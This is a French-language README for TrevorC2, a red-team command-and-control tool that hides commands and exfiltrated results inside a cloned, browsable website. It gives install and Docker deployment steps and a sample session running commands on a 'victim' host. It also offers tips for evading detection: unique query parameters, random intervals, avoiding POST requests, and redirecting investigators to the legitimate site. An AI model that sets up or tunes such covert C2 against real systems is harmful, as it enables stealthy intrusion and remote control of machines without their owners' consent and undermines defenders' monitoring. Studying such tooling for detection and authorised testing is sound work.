
TrevorC2 est un site Web légitime (consultable) qui tunnelise les communications client/serveur pour une exécution furtive de commandes.
Écrit par : Dave Kennedy (@HackingDave) Site Web : https://www.trustedsec.com
Notez qu'il s'agit d'une version très précoce - une forte randomisation et un chiffrement seront bientôt ajoutés.
TrevorC2 est un modèle client/serveur pour masquer le commandement et le contrôle via un site web normalement consultable. La détection devient beaucoup plus difficile car les intervalles de temps sont différents et n'utilise pas de requêtes POST pour l'exfiltration de données.
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
Il y a deux composants dans TrevorC2 - le client et le serveur. Le client peut être configuré pour être utilisé avec n'importe quoi. Dans cet exemple, il est codé en Python mais peut facilement être porté vers C#, PowerShell, ou ce que vous voulez. Actuellement, trevorc2_client.py supporte Windows, MacOS et Linux. Vous pouvez toujours compiler en bytecode celui pour Windows pour obtenir un exécutable, mais la préférence serait d'utiliser Windows sans avoir à déposer un exécutable comme stager.
Le fonctionnement du serveur consiste à cacher un paramètre juste avant le paramètre . C'est entièrement configurable, et il est recommandé de configurer tout pour être unique afin d'éviter la détection. Voici le flux de travail :
1. trevor2_server.py - modifiez d'abord le fichier, et personnalisez le site web que vous voulez cloner, etc. Le serveur clonera un site web de votre choix et mettra en place un serveur. Ce serveur est consultable par n'importe qui et ressemble à un site web légitime. Dans le code source se trouve un paramètre qui (encore configurable) contient les instructions pour le client. Une fois qu'un client se connecte, il recherche ce paramètre, puis l'utilise pour exécuter des commandes.
2. trevor2_client.py - tout ce dont vous avez besoin dans une option configurable est la capacité d'appeler un site web, d'analyser quelques données de base, puis d'exécuter une commande et de placer les résultats dans un paramètre de chaîne de requête encodé en base64 vers le site. C'est tout, pas difficile.
3. trevor2_client.ps1 - implémentation PowerShell de trevor2_client.py, cela vous permet d'utiliser PowerShell natif pour interagir avec Trevor2_Server.
pip install -r requirements.txt
Modifiez d'abord trevor2_server.py - changez les options de configuration et le site à cloner.
python trevor2_server.py
Ensuite, modifiez trevor2_client.py ou .ps1 - changez la configuration et le système auquel vous voulez qu'il communique.
python trevor2_client.py ou .\trevor2_client.ps1
TrevorC2 permet de gérer plusieurs shells provenant de différents noms d'hôte. Le fonctionnement de TrevorC2 est d'identifier les nouveaux noms d'hôte comme des sessions. Vous pouvez interagir avec les sessions une fois que vous exécutez une commande. Si vous avez plusieurs sessions, vous pouvez taper une commande et interagir avec cette session en fonction du numéro de session stocké globalement.
Lors du premier démarrage de TrevorC2, vous pouvez taper help ou ? pour plus d'informations. L'utilisation de base de la commande est "list" qui liste tous les shells actifs ou aucun, ou "interact <session_id>" pour interagir avec le shell souhaité.
Vous pouvez toujours taper back/exit dans un shell, il restera actif et ne tuera pas le shell.
Exemple ci-dessous :
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.
Trevor C2 shell
trevorc2>help
Documented commands (type help <topic>):
========================================
exit help interact list servercmd
trevorc2>help list
Description: Lists all available agents
Usage: list
trevorc2>list
No available Agents. :-(
trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>
trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] Exiting TrevorC2...
Utilise un Dockerfile basé sur Alpine pour déployer trevorC2, pratique pour un déploiement rapide sur les fournisseurs de cloud.
Exemple ci-dessous :
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# At this point, setting up docker-machine to remotly deploy works great
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
Il est important de modifier les variables présentées dans chacun des scripts. En particulier SITE_PATH_QUERY et la clé de chiffrement. Je recommanderais également de regarder l'option REDIRECT. Au lieu de cloner un site web, vous avez une autre option qui redirigera le site victime qui pourrait naviguer sur le site pour enquêter vers le site légitime. En gros, quand quelqu'un visite le site, il sera simplement redirigé vers le site que vous voulez cloner. Changez le site cloné, par exemple de google vers un autre site, et activez la redirection.